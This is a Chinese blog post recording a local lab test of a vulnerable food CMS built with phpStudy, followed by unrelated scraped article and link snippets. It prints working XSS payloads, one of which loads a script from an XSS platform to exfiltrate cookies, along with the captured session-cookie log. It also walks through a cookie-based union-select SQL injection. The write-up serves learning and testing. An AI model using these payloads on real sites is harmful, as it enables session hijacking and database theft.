在本地搭建一个存在漏洞的网站,验证xss漏洞和SQL注入的利用方法。

使用phpStudy工具搭建一个美食CMS网站平台。

0x01  xss测试

打开调试模式,定位姓名栏输入框:

尝试在value中插入xss攻击代码:

123"><script>alert(document.cookie);</script></td><td>

点击更新,成功弹出该网站登录后的cookie信息。说明这个输入框没有对<script>标签进行过滤。

如果希望将这个cookie发到自己的xss平台,可以构造如下输入:

" /></td><script src=\"http://127.0.0.1:9999/static/get.js\"></script><td>

http://127.0.0.1:9999/static/get.js为本地xss平台中获取cookie等信息的代码。

可以在本地看到如下信息:包括cookie,user_agent,ipaddress等信息。

id: 2J1h
location: http://www.xdcms.com/index.php?m=member&f=edit
toplocation: http://www.xdcms.com/index.php?m=member&f=edit
cookie: PHPSESSID=7urapqfnc9cchs31lfu38u0pi4; member_user=xdcms; member_userid=3
opener:
http_user_agent Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
http_addr 127.0.0.1
[30/Oct/2017 16:04:36] "GET /?do=api&id=2J1h&location=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&toplocation=http%3A//www.xdcms.com/index.php%3Fm%3Dmember%26f%3Dedit&cookie=PHPSESSID%3D7urapqfnc9cchs31lfu38u0pi4%3B%20member_user%3Dxdcms%
3B%20member_userid%3D3&opener= HTTP/1.1" 200 3

查看后台数据库,发现该段代码被写入了数据库,不知道是否算存储型xss???总之,这样每次刷新页面时,都会向xss平台发送cookie信息。

0x02 sql注入测试

走读后台php的代码,发现该输入界面与mysql的交互语句:

输入参数$userid来自cookie的member_userid参数,因此这里采用cookie注入的方法。

下载一个cookie修改插件,修改member_userid

member_userid=1的时候,姓名为test,可见可以通过修改这个cookie值读取数据库。

使用union select尝试获取更多数据库信息。

测试发现member_userid=4的时候,姓名电话为空,说明数据库只有3条记录;

union select 1,2,……时,出现如下报错:

have a different number of columns,说明union select的列数与表的列数不相等,尝试发现到15的时候才不出现报错:

从该显示可以看出,用户名,手机号码,姓名,安全邮箱,联系地址分别为表的第3,13,12,15,14列。可以在这些地方输出数据库信息。

xss和sql注入学习1的更多相关文章

  1. 总结了关于PHP xss 和 SQL 注入的问题(转)

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何 ...

  2. 关于PHP xss 和 SQL 注入的问题

    漏洞无非这么几类,XSS.sql注入.命令执行.上传漏洞.本地包含.远程包含.权限绕过.信息泄露.cookie伪造.CSRF(跨站请求)等.这些漏洞不仅仅是针对PHP语言的,PHP如何有效防止这些漏洞 ...

  3. Web攻防之XSS,CSRF,SQL注入

    摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨 ...

  4. DFX 安全测试-- 告诉你什么是XSS、sql注入?POST和GET的区别....

    1.用户权限测试 (1) 用户权限控制 1) 用户权限控制主要是对一些有权限控制的功能进行验证 2) 用户A才能进行的操作,B是否能够进行操作(可通过窜session,将在下面介绍) 3)只能有A条件 ...

  5. XSS攻击&SQL注入攻击&CSRF攻击?

    - XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...

  6. Spring MVC 如何防止XSS、SQL注入攻击

    在Web项目中,通常需要处理XSS,SQL注入攻击,解决这个问题有两个思路: 在数据进入数据库之前对非法字符进行转义,在更新和显示的时候将非法字符还原 在显示的时候对非法字符进行转义 如果项目还处在起 ...

  7. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  8. SQL注入学习资料总结

    转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Lang ...

  9. sql注入学习笔记,什么是sql注入,如何预防sql注入,如何寻找sql注入漏洞,如何注入sql攻击 (原)

    (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文章最后关于如何预防sql注入) (整篇文章废话很多,但其实是为了新手能更好的了解这个sql注入是什么,需要学习的是文 ...

随机推荐

  1. MySQL的JDBC驱动(8.0版本)

    1.引用外部库  mysql-connector-java-8.0.版本的jar 2.jdbc驱动类:com.mysql.jdbc.Driver  改成 com.mysql.cj.jdbc.Drive ...

  2. 多字节与Unicode

    编码知识 一.Unicode与多字节(ANSI ) (1)Windows中,Unicode也称为宽字节,多字节也称为窄字节; VS中默认使用Unicode编码,在项目属性>>配置属性> ...

  3. Elasticsearch客户端源码剖析

    注:本文出自博主 Chloneda:个人博客 | 博客园 | Github | Gitee | 知乎 注:本文源链接:https://www.cnblogs.com/chloneda/p/es-cli ...

  4. opencv —— 同时识别三种颜色

    要点: 1.识别一种颜色 minH = ; //色相 maxH = ; minS = ; //饱和度 maxS = ; minV = ; // inRange(原图像, 最小值的范围, 最大值的范围, ...

  5. 将小账本上传到GitHub

    在假期的时候我已经注册好了用户 https://www.cnblogs.com/1234yyf/p/12312072.html 然后我将我的小账本上传到GitHub上面:一步一步跟着就可以上传成功!! ...

  6. 一种使用SOC精确控制脉冲的方法

    在emfi测试中需要精确的控制脉冲时间.控制器产生的脉冲信号会经过控压的MOS管,这些组件会造成很严重的延时,但是尽管如此,控制系统的高精度也是必须的,因为控制系统的误差会逐级下延,引起更大的误差. ...

  7. Minion 主机同步失败问题,全过程

    如果出现以下状态 token也有了 这个是salt-api  说明你salt-api没问题 点击同步主机 查看你产品线管理那里,添加了你这个salt-api没? 配置参考文档 https://gith ...

  8. P2710 数列[fhq treap]

    调了一辈子的fhq treap- 如果不会最大子段和 如果不会fhq treap 7个操作- 其中三个查询 单点查询其实可以和区间查询写成一个( fhq treap 的修改操作大概就是 \(split ...

  9. 牛客寒假6-F十字阵列

    链接:https://ac.nowcoder.com/acm/problem/201986来源:牛客网 题目描述 小 Q 新学会了一种魔法,可以对一个 N行M列 的网格上的敌人造成伤害 第 i 次使用 ...

  10. Android_关于自定义view的dialog有黑影的问题

    跟默认选中的主题有关 在build段代码中加入这行代码 dialog.getWindow().setBackgroundDrawableResource(android.R.color.transpa ...